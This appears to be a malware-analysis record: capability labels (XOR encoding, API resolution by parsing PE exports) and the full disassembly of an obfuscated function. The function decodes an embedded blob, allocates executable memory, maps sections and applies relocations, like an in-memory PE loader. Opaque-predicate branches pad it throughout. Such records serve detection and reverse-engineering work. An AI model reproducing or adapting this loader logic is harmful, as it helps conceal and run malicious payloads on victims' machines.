Function at 0x180001070
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
cmp dword [0x180020a64], 0xa
jl 0x1800010a2
mov eax, dword [0x180020a68]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1800010a2
nop
jmp 0x1800010a0
mov eax, 0x10
call entry0
sub rsp, rax
mov r10, rsp
mov eax, 0x10
call entry0
sub rsp, rax
mov r9, rsp
cmp dword [0x180020a6c], 0xa
jl 0x1800010e2
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1800010e2
nop dword [rax]
jmp 0x1800010e0
lea r8, section..data
mov r11d, 3
mov rdi, r10
mov rax, r8
mov cl, byte [r8]
nop dword [rax + rax]
mov byte [rdi], cl
mov edx, dword [0x180020a70]
mov ebx, dword [0x180020a6c]
lea esi, [rdx - 1]
imul esi, edx
and esi, 1
cmp ebx, 0xa
jl 0x18000113e
test esi, esi
je 0x18000113e
mov byte [rdi], cl
cmp dword [0x180020a6c], 0xa
jl 0x180001100
mov edx, dword [0x180020a70]
lea esi, [rdx - 1]
imul esi, edx
and esi, 1
jne 0x180001120
jmp 0x180001100
cmp ebx, 0xa
jl 0x18000114b
test esi, esi
jne 0x180001310
add rdi, 1
add rax, 1
sub r11, 1
jb 0x18000115d
mov cl, byte [rax]
jmp 0x180001100
cmp dword [0x180020a64], 0xa
jl 0x180001352
mov eax, dword [0x180020a68]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001352
mov edx, dword [0x180020a70]
mov ebx, dword [0x180020a6c]
mov eax, 0x10
call entry0
sub rsp, rax
mov rax, rsp
cmp ebx, 0xa
jl 0x1800011af
lea ecx, [rdx - 1]
imul ecx, edx
and ecx, 1
jne 0x180001340
mov r9d, 3
mov rcx, r8
mov dl, byte [r8]
nop dword [rax + rax]
mov byte [rax], dl
mov ebx, dword [0x180020a70]
mov edi, dword [0x180020a6c]
lea esi, [rbx - 1]
imul esi, ebx
and esi, 1
cmp edi, 0xa
jl 0x1800011fe
test esi, esi
je 0x1800011fe
mov byte [rax], dl
cmp dword [0x180020a6c], 0xa
jl 0x1800011c0
mov ebx, dword [0x180020a70]
lea edi, [rbx - 1]
imul edi, ebx
and edi, 1
jne 0x1800011e0
jmp 0x1800011c0
cmp edi, 0xa
jl 0x18000120b
test esi, esi
jne 0x180001320
add rax, 1
add rcx, 1
sub r9, 1
jb 0x18000121d
mov dl, byte [rcx]
jmp 0x1800011c0
mov eax, 0x10
call entry0
sub rsp, rax
mov rax, rsp
cmp edi, 0xa
jl 0x180001241
lea ecx, [rbx - 1]
imul ecx, ebx
and ecx, 1
jne 0x180001350
mov r9d, 3
mov rsi, r8
mov cl, byte [r8]
nop dword [rax]
mov byte [rax], cl
mov edx, dword [0x180020a70]
mov ebx, dword [0x180020a6c]
lea edi, [rdx - 1]
imul edi, edx
and edi, 1
cmp ebx, 0xa
jl 0x18000128e
test edi, edi
je 0x18000128e
mov byte [rax], cl
cmp dword [0x180020a6c], 0xa
jl 0x180001250
mov edx, dword [0x180020a70]
lea ebx, [rdx - 1]
imul ebx, edx
and ebx, 1
jne 0x180001270
jmp 0x180001250
cmp ebx, 0xa
jl 0x18000129b
test edi, edi
jne 0x180001330
add rax, 1
add rsi, 1
sub r9, 1
jb 0x1800012ad
mov cl, byte [rsi]
jmp 0x180001250
cmp dword [0x180020a64], 0xa
jl 0x1800012cb
mov eax, dword [0x180020a68]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x18000118b
mov eax, 0x10
call entry0
sub rsp, rax
mov r10, rsp
mov eax, 0x10
call entry0
sub rsp, rax
mov r9, rsp
cmp ebx, 0xa
jl 0x1800010e9
lea eax, [rdx - 1]
imul eax, edx
and eax, 1
je 0x1800010e9
jmp 0x1800010e0
jmp 0x180001310
jmp 0x180001320
jmp 0x180001330
jmp 0x180001340
jmp 0x180001350
mov r12d, dword [r10]
test r12, r12
je 0x180001470
xor edi, edi
cmp r12d, 0x10
jb 0x180001442
lea rax, [r12 - 1]
cmp rax, 0x400
jae 0x180001442
mov edi, r12d
and edi, 0xfffffff0
lea rcx, [rdi - 0x10]
mov rax, rcx
shr rax, 4
add rax, 1
mov r8d, eax
and r8d, 1
test rcx, rcx
je 0x180001409
mov rcx, r8
sub rcx, rax
xor esi, esi
lea r10, section..data
movaps xmm0, xmmword [str._f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f]
mov eax, esi
and eax, 0x3e0
movups xmm1, xmmword [rax + r10 + 4]
movups xmm2, xmmword [rsi + r10 + 0x404]
xorps xmm2, xmm1
movups xmm1, xmmword [rsi + r10 + 0x414]
xorps xmm2, xmm0
movups xmmword [rsi + r10 + 0x404], xmm2
lea eax, [rsi + 0x10]
and eax, 0x3f0
movups xmm2, xmmword [rax + r10 + 4]
xorps xmm1, xmm0
xorps xmm1, xmm2
movups xmmword [rsi + r10 + 0x414], xmm1
add rsi, 0x20
add rcx, 2
jne 0x1800013b2
jmp 0x18000140b
xor esi, esi
test r8, r8
je 0x18000143d
mov eax, esi
and eax, 0x3f0
lea rcx, section..data
movups xmm0, xmmword [rax + rcx + 4]
movups xmm1, xmmword [rsi + rcx + 0x404]
xorps xmm1, xmm0
xorps xmm1, xmmword [str._f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f]
movups xmmword [rsi + rcx + 0x404], xmm1
cmp rdi, r12
je 0x180001470
lea rax, section..data
mov ecx, edi
and ecx, 0x3ff
movzx ecx, byte [rcx + rax + 4]
xor cl, byte [rdi + rax + 0x404]
xor cl, 0xc
mov byte [rdi + rax + 0x404], cl
add rdi, 1
cmp rdi, r12
jb 0x180001449
cmp ebx, 0xa
jl 0x180001482
lea eax, [rdx - 1]
imul eax, edx
and eax, 1
je 0x180001482
jmp 0x180001480
lea rax, section..data
lea r8, [r12 + rax]
add r8, 0x404
lea r10, [r12 + rax]
add r10, 0x404
mov r11d, 3
mov rax, r9
mov rcx, r10
mov bl, byte [r10]
nop
mov byte [rax], bl
mov esi, dword [0x180020a70]
mov edx, dword [0x180020a6c]
lea edi, [rsi - 1]
imul edi, esi
and edi, 1
cmp edx, 0xa
jl 0x1800014ee
test edi, edi
je 0x1800014ee
mov byte [rax], bl
cmp dword [0x180020a6c], 0xa
jl 0x1800014b0
mov edx, dword [0x180020a70]
lea esi, [rdx - 1]
imul esi, edx
and esi, 1
jne 0x1800014d0
jmp 0x1800014b0
cmp edx, 0xa
jl 0x1800014fb
test edi, edi
jne 0x1800015e0
add rax, 1
add rcx, 1
sub r11, 1
jb 0x18000150d
mov bl, byte [rcx]
jmp 0x1800014b0
cmp dword [0x180020a64], 0xa
jl 0x1800015f4
mov eax, dword [0x180020a68]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1800015f4
cmp edx, 0xa
jl 0x180001543
lea eax, [rsi - 1]
imul eax, esi
and eax, 1
jne 0x1800015f2
mov r11d, 3
mov rax, r9
mov rcx, r8
mov bl, byte [r8]
nop word cs:[rax + rax]
nop dword [rax]
mov byte [rax], bl
mov edx, dword [0x180020a70]
mov esi, dword [0x180020a6c]
lea edi, [rdx - 1]
imul edi, edx
and edi, 1
cmp esi, 0xa
jl 0x18000159e
test edi, edi
je 0x18000159e
mov byte [rax], bl
cmp dword [0x180020a6c], 0xa
jl 0x180001560
mov edx, dword [0x180020a70]
lea esi, [rdx - 1]
imul esi, edx
and esi, 1
jne 0x180001580
jmp 0x180001560
cmp esi, 0xa
jl 0x1800015a7
test edi, edi
jne 0x1800015f0
add rax, 1
add rcx, 1
sub r11, 1
jb 0x1800015b9
mov bl, byte [rcx]
jmp 0x180001560
cmp esi, 0xa
jl 0x18000149f
lea eax, [rdx - 1]
imul eax, edx
and eax, 1
je 0x18000149f
jmp 0x180001480
jmp 0x1800015e0
jmp 0x1800015f0
jmp 0x1800015f2
lea rax, [r10 + 4]
mov qword [rbp - 0x10], rax
mov r9d, dword [r9]
test r9, r9
je 0x180001762
xor eax, eax
cmp r9d, 0x20
jb 0x18000164c
lea rcx, [r9 - 1]
cmp rcx, 0x400
lea rbx, section..data
jae 0x18000173e
lea rcx, [r9 + rbx]
add rcx, 4
cmp qword [rbp - 0x10], rcx
jae 0x180001658
lea rcx, [r10 + r9]
add rcx, 4
lea rdx, str.dXtCaTPxbGfqTjaBtQGaUrESMpUXYXHiYDZwgEyIMVeoArcAZjoOoekpFBOVDposeSjZKenVpeuUpskqHPHvpIUwIHqdbZZBleIdPAJLFUsQUOgdFylWbCGBDluWSWEnCkqQZZFJgmUvmXRvfMFGnyGZZxxpryPLQoaIKZkVIiYUxGFBnPcbxFBdZmcKxqdffblpbUZXEuHISzhckRoXqdlJEDKZTdkcCQAhmxnyFlfXxevizpHZKnZKqFKkxKtMIFBWqRlDzgbjASKEIQfznCscfGmLPhcvyDAgzeSwTllfwFjCjAgBMjODrdhIIFapuZKYGgxJuMCmTeOnxqQbiqYLtATVEqVgsLaZroJDgEzqhtPyUHQeJVYXBhUDlqjGkvtwVPcLFqDupaSXpithoWKkCpOeXBgflJQSsmquRcUMFsVyyhrsaiTXIBHFtprSKWYcVggRlghWZlLsjZCiJoBIbvqgQtOHTfZfXrwKIaEnDMWtdLBMsUCuLOzpOSJSTQgrGIcszOfTOBXupepGkxFguYhFvOJMqSntlPdaCGddeaAmxtaahsOTzDiqkzkkQEQCOMWZDaAZqbMMgCRuqruLcpgvkQyEsfLBzAvCltzcupCrOoEBdbhLxZhInwEpXCglSUGeJwJsAajTtniZtZcxEDvgtvYKboImvGAuDXqsbFKmsvwCaiWbRkKDnMRnxmCCesQSxSKMzDauCoYnvpZBwGUeTMmRDAfsRfEPqMnWlHSLPASYKJJfinTapIfVKtKexLpFHRVjjbnnrxnolUVtJfIVVGGxDKRzTeHMUyLWBRHuWByabUOBItuIKkUVucBekpLDTIrxjyKHKsOqsdMmltIVXMMPPBudSZvBxcXMkTaaSjFEIKjJtdnCcFVFuZiarExDWuqFuLtyuTyzFyJDjBZLIZusnsEjWzujzjrCOkCgVwuwCuMFBdMTHXFfuMcHdvFRruWVZSCXtBdfBYhcuAbjdyJtntxlWaryhogOYDlCKaJXrxAhhUTFgWk
cmp rcx, rdx
jbe 0x180001658
xor eax, eax
lea rbx, section..data
jmp 0x18000173e
mov eax, r9d
and eax, 0xffffffe0
lea rbx, [rax - 0x20]
mov rcx, rbx
shr rcx, 5
add rcx, 1
mov r8d, ecx
and r8d, 1
test rbx, rbx
je 0x1800016f6
lea rdx, section..data
lea rdi, [r12 + rdx]
add rdi, 0x438
mov rbx, r8
sub rbx, rcx
xor esi, esi
mov ecx, esi
and ecx, 0x3c0
movups xmm0, xmmword [rcx + rdx + 4]
movups xmm1, xmmword [rcx + rdx + 0x14]
movups xmm2, xmmword [rdi + rsi - 0x30]
xorps xmm2, xmm0
movups xmm0, xmmword [rdi + rsi - 0x20]
xorps xmm0, xmm1
movups xmm1, xmmword [rdi + rsi - 0x10]
movups xmm3, xmmword [rdi + rsi]
movups xmmword [rdi + rsi - 0x30], xmm2
movups xmmword [rdi + rsi - 0x20], xmm0
lea ecx, [rsi + 0x20]
and ecx, 0x3e0
movups xmm0, xmmword [rcx + rdx + 4]
xorps xmm0, xmm1
movups xmm1, xmmword [rcx + rdx + 0x14]
xorps xmm1, xmm3
movups xmmword [rdi + rsi - 0x10], xmm0
movups xmmword [rdi + rsi], xmm1
add rsi, 0x40
add rbx, 2
jne 0x180001693
jmp 0x1800016f8
xor esi, esi
test r8, r8
je 0x180001732
mov ecx, esi
and ecx, 0x3e0
lea rdx, section..data
movups xmm0, xmmword [rcx + rdx + 4]
movups xmm1, xmmword [rcx + rdx + 0x14]
mov rcx, qword [rbp - 0x10]
movups xmm2, xmmword [rcx + rsi]
xorps xmm2, xmm0
movups xmm0, xmmword [rcx + rsi + 0x10]
xorps xmm0, xmm1
movups xmmword [rcx + rsi], xmm2
movups xmmword [rcx + rsi + 0x10], xmm0
cmp rax, r9
lea rbx, section..data
je 0x180001762
lea rcx, [r12 + rbx]
add rcx, 0x408
mov edx, eax
and edx, 0x3ff
movzx edx, byte [rdx + rbx + 4]
xor byte [rcx + rax], dl
add rax, 1
cmp rax, r9
jb 0x180001749
cmp dword [0x180020a74], 0xa
jl 0x18000177e
mov eax, dword [0x180020a78]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x18000177e
jmp 0x18000177c
add r12, 0x408
movsxd rax, dword [0x180004440]
lea rcx, section..data
add rax, rcx
add rax, 0x404
mov qword [rbp - 8], rax
mov r13, qword [rbp - 0x10]
cmp byte [r13], 0
lea r13, [r13 + 1]
jne 0x1800017a4
mov qword [rbp], r13
cmp byte [r13], 0
lea r13, [r13 + 1]
jne 0x1800017b3
mov r15, r13
cmp byte [r15], 0
lea r15, [r15 + 1]
jne 0x1800017c1
mov qword [rbp - 0x28], r15
cmp byte [r15], 0
lea r15, [r15 + 1]
jne 0x1800017cf
mov rbx, r15
cmp byte [rbx], 0
lea rbx, [rbx + 1]
jne 0x1800017dc
mov r14, rbx
cmp byte [r14], 0
lea r14, [r14 + 1]
jne 0x1800017e8
sub rsp, 0x20
mov rcx, qword [rbp]
call fcn.1800025d0
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a7c], 0xa
jl 0x180001824
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001d59
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a84], 0xa
jl 0x180001853
mov eax, dword [0x180020a88]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001d5b
add r8, r9
mov edi, dword [r9 + rcx + 0x20]
mov r10d, dword [r9 + rcx + 0x24]
add rdi, r9
add r10, r9
mov esi, dword [rdi]
add rsi, r9
mov rdx, r13
movzx ecx, byte [rdx]
movzx eax, byte [rsi]
test cl, cl
je 0x180001884
add rdx, 1
add rsi, 1
cmp cl, al
je 0x18000186e
cmp cl, al
je 0x180001892
add r10, 2
add rdi, 4
jmp 0x180001866
movzx eax, word [r10]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, rbx
call r9
add rsp, 0x20
mov r10, rax
cmp dword [0x180020a7c], 0xa
jl 0x1800018cc
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001d5d
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rcx + 0x1c]
cmp dword [0x180020a84], 0xa
jl 0x1800018fb
mov eax, dword [0x180020a88]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001d5f
add r8, r10
mov edx, dword [r10 + rcx + 0x20]
mov edi, dword [r10 + rcx + 0x24]
add rdx, r10
add rdi, r10
mov esi, dword [rdx]
add rsi, r10
mov rax, r15
movzx ebx, byte [rax]
movzx ecx, byte [rsi]
test bl, bl
je 0x18000192c
add rax, 1
add rsi, 1
cmp bl, cl
je 0x180001916
cmp bl, cl
je 0x18000193a
add rdi, 2
add rdx, 4
jmp 0x18000190e
movzx eax, word [rdi]
mov eax, dword [r8 + rax*4]
add r10, rax
sub rsp, 0x30
mov qword [rsp + 0x28], 0x1388
mov qword [rsp + 0x20], 0
mov r9d, 0x10
xor ecx, ecx
mov rdx, r14
mov r8, r14
call r10
add rsp, 0x10
mov rcx, qword [rbp]
call fcn.1800025d0
add rsp, 0x20
mov r10, rax
cmp dword [0x180020a7c], 0xa
jl 0x18000199d
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001d61
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rcx + 0x1c]
cmp dword [0x180020a84], 0xa
jl 0x1800019cc
mov eax, dword [0x180020a88]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001d63
add r8, r10
mov edx, dword [r10 + rcx + 0x20]
mov r9d, dword [r10 + rcx + 0x24]
add rdx, r10
add r9, r10
lea rcx, section..data
mov edi, dword [rdx]
add rdi, r10
xor esi, esi
lea rax, [r12 + rsi]
movzx eax, byte [rcx + rax]
movzx ebx, byte [rdi + rsi]
test al, al
je 0x180001a05
add rsi, 1
cmp al, bl
je 0x1800019ed
cmp al, bl
je 0x180001a13
add r9, 2
add rdx, 4
jmp 0x1800019e6
movzx eax, word [r9]
mov eax, dword [r8 + rax*4]
add r10, rax
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0x50]
sub rsp, 0x20
mov r8d, 0x3000
mov r9d, 0x40
xor ecx, ecx
call r10
add rsp, 0x20
mov r15, rax
mov eax, dword [0x180020a68]
mov ecx, dword [0x180020a64]
lea ebx, [rax - 1]
imul ebx, eax
cmp ecx, 0xa
jl 0x180001d73
mov edx, ebx
and edx, 1
je 0x180001d73
movsxd rax, dword [0x180004440]
mov qword [rbp - 8], rax
cmp dword [0x180020a74], 0xa
mov r15, qword [rbp - 0x10]
jl 0x180001a98
mov eax, dword [0x180020a78]
lea ecx, [rax - 1]
imul ecx, eax
mov r15, qword [rbp - 0x10]
and ecx, 1
jne 0x180001d65
cmp byte [r15], 0
lea r15, [r15 + 1]
jne 0x180001a98
mov qword [rbp], r15
cmp byte [r15], 0
lea r15, [r15 + 1]
jne 0x180001aa6
mov r13, r15
cmp byte [r13], 0
lea r13, [r13 + 1]
jne 0x180001ab3
cmp byte [r13], 0
lea r13, [r13 + 1]
jne 0x180001abe
mov rdi, r13
cmp byte [rdi], 0
lea rdi, [rdi + 1]
jne 0x180001acc
mov r14, rdi
cmp byte [r14], 0
lea r14, [r14 + 1]
jne 0x180001ad8
sub rsp, 0x20
mov rcx, qword [rbp]
call fcn.1800025d0
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a7c], 0xa
jl 0x180001b14
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001d67
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a84], 0xa
jl 0x180001b43
mov eax, dword [0x180020a88]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001d69
add r8, r9
mov esi, dword [r9 + rcx + 0x20]
mov r10d, dword [r9 + rcx + 0x24]
add rsi, r9
add r10, r9
mov edx, dword [rsi]
add rdx, r9
mov rcx, r15
movzx eax, byte [rcx]
movzx ebx, byte [rdx]
test al, al
je 0x180001b74
add rcx, 1
add rdx, 1
cmp al, bl
je 0x180001b5e
cmp al, bl
je 0x180001b82
add r10, 2
add rsi, 4
jmp 0x180001b56
movzx eax, word [r10]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, rdi
call r9
add rsp, 0x20
mov r10, rax
cmp dword [0x180020a7c], 0xa
jl 0x180001bbc
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001d6b
movsxd rax, dword [r10 + 0x3c]
mov eax, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rax + 0x1c]
cmp dword [0x180020a84], 0xa
jl 0x180001beb
mov ecx, dword [0x180020a88]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
jne 0x180001d6d
add r8, r10
mov edi, dword [r10 + rax + 0x20]
mov esi, dword [r10 + rax + 0x24]
add rdi, r10
add rsi, r10
mov eax, dword [rdi]
add rax, r10
mov rbx, r13
movzx ecx, byte [rbx]
movzx edx, byte [rax]
test cl, cl
je 0x180001c1c
add rbx, 1
add rax, 1
cmp cl, dl
je 0x180001c06
cmp cl, dl
je 0x180001c2a
add rsi, 2
add rdi, 4
jmp 0x180001bfe
movzx eax, word [rsi]
mov eax, dword [r8 + rax*4]
add r10, rax
sub rsp, 0x30
mov qword [rsp + 0x28], 0x1388
mov qword [rsp + 0x20], 0
mov r9d, 0x10
xor ecx, ecx
mov rdx, r14
mov r8, r14
call r10
add rsp, 0x10
mov rcx, qword [rbp]
call fcn.1800025d0
add rsp, 0x20
mov r10, rax
cmp dword [0x180020a7c], 0xa
jl 0x180001c8d
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001d6f
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rcx + 0x1c]
cmp dword [0x180020a84], 0xa
jl 0x180001cbc
mov eax, dword [0x180020a88]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001d71
add r8, r10
mov edx, dword [r10 + rcx + 0x20]
mov r9d, dword [r10 + rcx + 0x24]
add rdx, r10
add r9, r10
lea rcx, section..data
mov edi, dword [rdx]
add rdi, r10
xor esi, esi
lea rax, [r12 + rsi]
movzx eax, byte [rcx + rax]
movzx ebx, byte [rdi + rsi]
test al, al
je 0x180001cf5
add rsi, 1
cmp al, bl
je 0x180001cdd
cmp al, bl
je 0x180001d03
add r9, 2
add rdx, 4
jmp 0x180001cd6
movzx eax, word [r9]
mov eax, dword [r8 + rax*4]
add r10, rax
mov rax, qword [rbp - 8]
mov edx, dword [rax + rcx + 0x454]
sub rsp, 0x20
mov r8d, 0x3000
mov r9d, 0x40
xor ecx, ecx
call r10
add rsp, 0x20
cmp dword [0x180020a74], 0xa
jl 0x180001785
mov eax, dword [0x180020a78]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001785
jmp 0x18000177c
jmp 0x180001d59
jmp 0x180001d5b
jmp 0x180001d5d
jmp 0x180001d5f
jmp 0x180001d61
jmp 0x180001d63
jmp 0x180001d65
jmp 0x180001d67
jmp 0x180001d69
jmp 0x180001d6b
jmp 0x180001d6d
jmp 0x180001d6f
jmp 0x180001d71
test bl, 1
sete bl
cmp ecx, 0xa
setl dl
or dl, bl
cmp dl, 1
jne 0x180001f63
mov rbx, qword [rbp - 8]
lea r8, [rbx + 0x108]
xor r9d, r9d
mov rbx, qword [rbp - 8]
movzx ebx, word [rbx + 6]
cmp r9, rbx
jae 0x180001f6d
lea rax, [r9 + r9*4]
lea r10, [r8 + rax*8]
add r10, 0xc
mov ebx, dword [0x180020a70]
mov edx, dword [0x180020a6c]
cmp edx, 0xa
jl 0x180001dd5
lea eax, [rbx - 1]
imul eax, ebx
and eax, 1
jne 0x180001f69
cmp edx, 0xa
jl 0x180001de9
lea eax, [rbx - 1]
imul eax, ebx
and eax, 1
jne 0x180001f65
mov r11d, dword [r10 + 4]
test r11, r11
je 0x180001e7b
mov ecx, dword [r10]
add rcx, r15
mov eax, dword [r10 + 8]
lea rdx, section..data
lea rdi, [rax + rdx]
add rdi, 0x404
jmp 0x180001e25
add r11, 0xffffffffffffffff
add rcx, 1
add rdi, 1
test r11, r11
je 0x180001e7b
mov al, byte [rdi]
mov byte [rcx], al
mov ebx, dword [0x180020a70]
mov edx, dword [0x180020a6c]
lea eax, [rbx - 1]
imul eax, ebx
and eax, 1
cmp edx, 0xa
jl 0x180001e6d
test eax, eax
je 0x180001e6d
movzx eax, byte [rdi]
mov byte [rcx], al
movzx eax, byte [rdi]
mov byte [rcx], al
cmp dword [0x180020a6c], 0xa
jl 0x180001e25
mov eax, dword [0x180020a70]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001e47
jmp 0x180001e25
cmp edx, 0xa
jl 0x180001e14
test eax, eax
je 0x180001e14
jmp 0x180001f65
mov eax, dword [0x180020a68]
mov ecx, dword [0x180020a64]
lea esi, [rax - 1]
imul esi, eax
cmp ecx, 0xa
jl 0x180001f47
mov edi, esi
and edi, 1
je 0x180001f47
cmp edx, 0xa
jl 0x180001eb5
lea eax, [rbx - 1]
imul eax, ebx
and eax, 1
jne 0x180001f6b
mov r11d, dword [r10 + 4]
test r11, r11
je 0x180001dc1
mov eax, dword [r10 + 8]
lea rcx, section..data
add rcx, rax
add rcx, 0x404
mov edi, dword [r10]
add rdi, r15
jmp 0x180001ef4
add r11, 0xffffffffffffffff
add rdi, 1
add rcx, 1
test r11, r11
je 0x180001dc1
mov al, byte [rcx]
mov byte [rdi], al
mov ebx, dword [0x180020a70]
mov edx, dword [0x180020a6c]
lea eax, [rbx - 1]
imul eax, ebx
and eax, 1
cmp edx, 0xa
jl 0x180001f3c
test eax, eax
je 0x180001f3c
movzx eax, byte [rcx]
mov byte [rdi], al
movzx eax, byte [rcx]
mov byte [rdi], al
cmp dword [0x180020a6c], 0xa
jl 0x180001ef4
mov eax, dword [0x180020a70]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001f16
jmp 0x180001ef4
cmp edx, 0xa
jl 0x180001edf
test eax, eax
je 0x180001edf
jmp 0x180001f67
add r9, 1
test sil, 1
sete bl
cmp ecx, 0xa
setl dl
or dl, bl
cmp dl, 1
je 0x180001d98
jmp 0x180001f63
jmp 0x180001f65
jmp 0x180001f67
jmp 0x180001f69
jmp 0x180001f6b
mov rbx, qword [rbp - 8]
mov ebx, dword [rbx + 0xb0]
cmp dword [r15 + rbx], 0
je 0x180002122
add rbx, r15
mov rdi, qword [rbp - 8]
mov rdi, qword [rdi + 0x30]
mov r14, r15
sub r14, rdi
movabs r8, 0x1fffffff8
mov r9, rbx
test dl, 1
jne 0x180001fdf
jmp 0x180002120
mov edi, dword [r9 + 4]
lea rbx, [r9 + rdi]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete r10b
cmp ecx, 0xa
setl dl
or dl, r10b
cmp dword [r9 + rdi], 0
mov r9, rbx
je 0x180002122
test dl, 1
je 0x180002120
mov edx, dword [r9 + 4]
lea edi, [rax - 1]
imul edi, eax
and edi, 1
cmp rdx, 7
jbe 0x180002107
cmp ecx, 0xa
jl 0x180002003
test edi, edi
jne 0x18000211a
add rdx, r8
shr rdx, 1
mov r10d, edx
xor r11d, r11d
cmp r11, r10
je 0x180002107
movzx edi, word [r9 + r11*2 + 8]
mov esi, edi
shr esi, 0xc
mov edx, edi
and edx, 0xfff
cmp edi, 0xa000
jae 0x180002094
cmp esi, 3
jne 0x1800020de
mov eax, dword [rbx]
lea rax, [r15 + rax*4]
add dword [rax + rdx*4], r14d
mov eax, dword [0x180020a68]
mov ecx, dword [0x180020a64]
cmp ecx, 0xa
jl 0x1800020de
lea esi, [rax - 1]
imul esi, eax
and esi, 1
je 0x1800020de
lea rdx, [r15 + rdx*4]
mov eax, dword [rbx]
add dword [rdx + rax*4], r14d
mov eax, dword [rbx]
add dword [rdx + rax*4], r14d
mov eax, dword [0x180020a68]
mov ecx, dword [0x180020a64]
cmp ecx, 0xa
jl 0x1800020de
lea esi, [rax - 1]
imul esi, eax
and esi, 1
jne 0x18000206a
jmp 0x1800020de
cmp esi, 0xa
jne 0x1800020de
cmp ecx, 0xa
jl 0x1800020a9
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x18000211e
mov edx, edx
add rdx, r15
mov eax, dword [rbx]
add qword [rax + rdx], r14
mov eax, dword [0x180020a68]
mov ecx, dword [0x180020a64]
cmp ecx, 0xa
jl 0x1800020de
lea esi, [rax - 1]
imul esi, eax
and esi, 1
je 0x1800020de
mov eax, dword [rbx]
add qword [rdx + rax], r14
mov eax, dword [rbx]
add qword [rdx + rax], r14
jmp 0x1800020b4
lea edi, [rax - 1]
imul edi, eax
and edi, 1
cmp ecx, 0xa
jl 0x1800020f0
test edi, edi
jne 0x18000211c
add r11, 1
cmp ecx, 0xa
jl 0x18000200f
test edi, edi
je 0x18000200f
jmp 0x18000211a
cmp ecx, 0xa
jl 0x180001faa
test edi, edi
je 0x180001faa
jmp 0x180002118
jmp 0x18000211a
jmp 0x18000211c
jmp 0x18000211e
jmp 0x180002120
test dl, 1
je 0x180002139
cmp ecx, 0xa
jl 0x18000213b
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x18000213b
jmp 0x180002137
jmp 0x180002139
lea rax, [r15 + 2]
mov qword [rbp - 0x30], rax
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x90]
add rax, r15
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
mov r12d, dword [rax + 0xc]
test r12, r12
je 0x18000254c
add r12, r15
sub rsp, 0x20
jmp 0x180002182
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, r12
call r9
mov rcx, qword [rbp]
call fcn.1800025d0
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a7c], 0xa
jl 0x1800021b0
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x18000253a
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a84], 0xa
jl 0x1800021df
mov eax, dword [0x180020a88]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x18000253c
add r8, r9
mov edi, dword [r9 + rcx + 0x20]
mov ecx, dword [r9 + rcx + 0x24]
add rdi, r9
add rcx, r9
mov esi, dword [rdi]
add rsi, r9
mov rbx, r13
movzx eax, byte [rbx]
movzx edx, byte [rsi]
test al, al
je 0x180002210
add rbx, 1
add rsi, 1
cmp al, dl
je 0x1800021fa
cmp al, dl
je 0x18000221e
add rcx, 2
add rdi, 4
jmp 0x1800021f2
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, r12
